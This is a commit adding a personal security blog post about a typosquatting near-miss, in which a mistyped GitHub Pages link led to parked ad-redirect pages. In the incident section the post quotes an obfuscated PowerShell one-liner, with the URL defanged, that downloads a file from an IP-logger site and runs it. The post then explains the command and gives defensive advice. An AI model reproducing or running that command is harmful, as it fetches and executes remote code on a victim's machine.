Skip to content

Commit 2fabbf3

Browse files
committed
feat: new post on typosquatting
1 parent b5e1e05 commit 2fabbf3

5 files changed

Lines changed: 251 additions & 0 deletions
Lines changed: 251 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,251 @@
1+
---
2+
layout: post
3+
title: When a Simple Typo Almost Broke Trust - A Cybersecurity Near-Miss
4+
date: '2025-04-19 16:01 +0100'
5+
author: b3rdma
6+
description: >-
7+
A real near miss happened today when I manually typed a link to my blog site
8+
that had a typo. Here is what I learnt from the experience.
9+
image: null
10+
categories:
11+
- Cybersecurity
12+
- Personal
13+
tags:
14+
- typosquatting
15+
- mistakes
16+
- infosec
17+
- lessons
18+
- blog
19+
media_subpath: /img/typo/
20+
---
21+
## Contents
22+
23+
<!-- toc -->
24+
25+
- [The Incident](#the-incident)
26+
- [What I Thought Might Have Happened](#what-i-thought-might-have-happened)
27+
- [Some Other Results of the URL Redirect](#some-other-results-of-the-url-redirect)
28+
- [Typosquatting: Why This Is a Real Threat](#typosquatting-why-this-is-a-real-threat)
29+
- [What I Took Away From This](#what-i-took-away-from-this)
30+
- [Tips to Avoid Similar Mistakes](#tips-to-avoid-similar-mistakes)
31+
- [Final Thoughts](#final-thoughts)
32+
- [Frequently Asked Questions (FAQ)](#frequently-asked-questions-faq)
33+
- [Glossary](#glossary)
34+
35+
<!-- tocstop -->
36+
37+
Sometimes the smallest mistakes can teach us the biggest lessons. Recently, I
38+
accidentally shared a typoed link to my GitHub Pages blog in a Discord chat.
39+
What followed was a serious wake-up call about typosquatting, trust, and the
40+
potential for social engineering – even from well-intentioned sources.
41+
42+
## The Incident
43+
44+
I meant to share the link `https://b3rdma.github.io`
45+
46+
But I accidentally typed the link `hxxps://b3rdma[.]guthub[.]io`
47+
48+
The typo is simply the extra _u_ in github where the _i_ should be, making it
49+
_guthub_ instead of _github_.
50+
51+
<!-- prettier-ignore-start -->
52+
> Note that I have 'defanged' the potentially malicious link above to prevent
53+
> accidental clicking by visitors. This is a common practice when sharing
54+
> suspicious URLs for investigation.
55+
{: .prompt-warning }
56+
<!-- prettier-ignore-end -->
57+
58+
This typo redirected my contact to a sketchy parked domain:
59+
`hxxp://ww1[.]guthub[.]io`. If the link with the typo is clicked multiple times,
60+
each redirect may be to a different target site.
61+
62+
A _parked domain_ is one that has been registered but is not actively used; it
63+
often displays placeholder pages or advertisements. That alone was concerning
64+
enough; but it did not stop there. In the same conversation, they replied with
65+
a PowerShell command that looked suspiciously like something out of a
66+
hacking/CTF challenge:
67+
68+
<!-- prettier-ignore-start -->
69+
```powershell
70+
powershell -c "$e=[char]0x69+[char]0x65+[char]0x78;$u=[uri]'hxxps://iplogger[.]co/2y14e7.avi';&($e)(iwr $u)"
71+
```
72+
{: .nolineno }
73+
<!-- prettier-ignore-end -->
74+
75+
<!-- prettier-ignore-start -->
76+
77+
> Note that I have also defanged the URI in the PowerShell command above for the
78+
> same reasons previously mentioned; only here it is arguably more important.
79+
{: .prompt-warning }
80+
<!-- prettier-ignore-end -->
81+
82+
This command attempts to download and run a script from a remote site; a common
83+
technique used by attackers to infect machines or steal information.
84+
85+
**What does this mean?**
86+
87+
- The command builds the word `iex` (short for `Invoke-Expression`), which tells
88+
PowerShell to execute code it downloads.
89+
- It then tries to download a file from a suspicious URL and run it immediately.
90+
- If run, this could allow an attacker to take control of the system or spy on
91+
activity.
92+
93+
Was this a joke? A test? Or a genuine attempt to download malware? The
94+
uncertainty was deeply uncomfortable.
95+
96+
## What I Thought Might Have Happened
97+
98+
- Did the typoed domain automatically execute a harmful payload?
99+
- Did I unknowingly send a malicious script?
100+
- Was my contact tricked into running a remote PowerShell command?
101+
102+
Thankfully, **none of those things actually happened**. After some
103+
investigation:
104+
105+
- [x] The URL led to a parked page with no active malicious code
106+
- [x] VirusTotal flagged the link as clean (0/94 detections), as did URLScan
107+
- [x] No alarming results from a google search although the redirects may be too
108+
numerous to research in just a hour or so.
109+
- [x] There was no evidence of automatic downloads or script execution
110+
111+
![URLScan.io results of a malicious URL](urlscan_results.webp){: width="700" height="400" }
112+
_Results from URLScan.io on the potentially malicious URL_
113+
114+
## Some Other Results of the URL Redirect
115+
116+
I made sure I had real-time protection enabled, firewall rules in place and used
117+
a windows VM to look at the behaviour of the redirect. Standard behaviour of
118+
suspect sites that redirect to a site that throws pop-ups, adverts, and other
119+
click-me call-to-actions. Here are a few screenshots:
120+
121+
The Safari browser on macOS does a good job of warning users of the potentially
122+
malicious site that waits ahead. One needs to take extra actions to actually
123+
visit the site and that is not advisable unless you have a good reason.
124+
125+
![Screenshot of warning in the Safari browser](example_on_macos_safari.webp){: width="700" height="400" }
126+
_Safari browser immediately warns of the Deceptive Website_
127+
128+
In the first example in the Edge browser on Windows, the page is calling for
129+
visitors to renew their licence for McAfee. Note the typically use of urgency
130+
and impending doom to pressure visitors to take action. The machine is not
131+
infected unless clicks and other actions are taken. It is also interesting to
132+
note that the URL has tracking identifiers, network metadata, referral data, and
133+
has some obfuscation. This is behaviour associated with fraud campaigns,
134+
malvertising, adware and phishing.
135+
136+
![First example of a redirect in the Edge browser in Windows](example_in_edge_browser.webp){: width="700" height="400" }
137+
_First redirect that happened in the Edge browser in Windows_
138+
139+
The second example in the Edge browser shows a website with a load of adverts
140+
and a 'new user bonus'! Do not clink on things like that, please. It should be
141+
noted that the exact same link with the typo was used, but the end target was
142+
different. I did limited tests and do not know how many different pages the link
143+
would lead to. Some may have more malicious intent than others.
144+
145+
![Second example of a redirect in the Edge browser in Windows](another_example_in_edge_browser.webp){: width="700" height="400" }
146+
_Second redirect from the same typoed link in the Edge browser_
147+
148+
**Important to know:** No system executes PowerShell scripts just by visiting a
149+
webpage. Modern browsers and operating systems do not allow scripts to run
150+
automatically without explicit user permission or action. This is a key security
151+
feature to protect users from drive-by attacks.
152+
153+
## Typosquatting: Why This Is a Real Threat
154+
155+
<!-- prettier-ignore-start -->
156+
> _Typosquatting_ is a form of cyberattack where attackers register lookalike domains, hoping to catch mistyped URLs.
157+
{: .prompt-info }
158+
<!-- prettier-ignore-end -->
159+
160+
These domains often:
161+
162+
- Host malicious downloads
163+
- Impersonate login pages to steal credentials
164+
- Trigger redirections, pop-ups, or scripts in vulnerable browsers
165+
166+
It is a subtle but dangerous vector, because humans make mistakes.
167+
168+
## What I Took Away From This
169+
170+
This whole experience rattled me because I have pride in my reputation as having
171+
the highest levels of honesty and integrity. This was a genuine cybersecurity
172+
near-miss; it made me think differently about how fragile trust can be,
173+
perception, and the importance of precision.
174+
175+
Even a harmless typo can:
176+
177+
- Damage trust with colleagues or peers
178+
- Lead someone to a malicious or shady site
179+
- Become a launchpad for further attacks such as phishing or malware infections
180+
181+
## Tips to Avoid Similar Mistakes
182+
183+
- **Use system-wide text replacements** - For example, macOS allows you to auto-correct common domain typos (e.g. `guthub.io` to `github.io`)
184+
185+
- **Double-check typed URLs** - Always verify links before sharing, especially in public or professional channels
186+
187+
- **If you see something suspicious, do not execute it** - Assume any link, file, or command is unsafe until you have confirmed otherwise
188+
189+
- **Use tools like [urlscan.io](https://urlscan.io) or
190+
[VirusTotal](https://www.virustotal.com)** to check suspicious domains or links before visiting them
191+
192+
- **Remember: mistakes happen. It is how we handle them that counts** - Transparency and accountability build more trust than pretending nothing
193+
happened
194+
195+
## Final Thoughts
196+
197+
This was a humbling experience, and I hope it helps others be more mindful of
198+
small details because in cybersecurity, they often matter most.
199+
200+
Have you ever had a cybersecurity near-miss like this? Feel free to reach out;
201+
I would be interested to hear your story.
202+
203+
## Frequently Asked Questions (FAQ)
204+
205+
**Q: Can simply visiting a malicious website infect my computer?**
206+
A: Generally, no. Modern browsers and operating systems prevent automatic
207+
execution of scripts like PowerShell commands without your explicit permission
208+
or action.
209+
210+
**Q: What should I do if I receive a suspicious command or link?**
211+
A: Do not run any commands or open links unless you trust the source. Use tools
212+
like VirusTotal or urlscan.io to check suspicious URLs before interacting with
213+
them.
214+
215+
**Q: How can I protect myself from typosquatting attacks?**
216+
A: Always double-check URLs before clicking or sharing them. Use browser
217+
extensions or system text replacements to correct common typos automatically.
218+
219+
**Q: What is the risk of running a PowerShell command from an unknown source?**
220+
A: Running such commands can download and execute malware, steal data, or give
221+
attackers control over your system. Always verify commands before executing
222+
them.
223+
224+
**Q: Are antivirus tools enough to stop these attacks?**
225+
A: Antivirus software is important but not foolproof. Combining it with cautious
226+
behaviour, up-to-date software, and good security practices offers better
227+
protection.
228+
229+
## Glossary
230+
231+
**CTF (Capture The Flag)** A type of cybersecurity challenge or competition
232+
where participants solve puzzles or hacking tasks to "capture flags", often
233+
used for learning and practice.
234+
235+
**Invoke-Expression (`iex`)** A PowerShell command that runs code contained in
236+
a string; often used by attackers to execute downloaded scripts directly in
237+
memory.
238+
239+
**Parked Domain** A registered internet domain that is not actively used; it
240+
usually shows placeholder content or advertisements.
241+
242+
**PowerShell** A command-line shell and scripting language used in Windows to
243+
automate tasks; it can be powerful but also abused by attackers.
244+
245+
**Typosquatting** A cyberattack technique where attackers register domains
246+
similar to popular websites, hoping users will mistype URLs and visit malicious
247+
sites.
248+
249+
**VirusTotal** An online service that scans files and URLs with multiple
250+
antivirus engines to check for malware or malicious content.
251+
292 KB
Loading
132 KB
Loading
46.5 KB
Loading
69.5 KB
Loading

0 commit comments

Comments
 (0)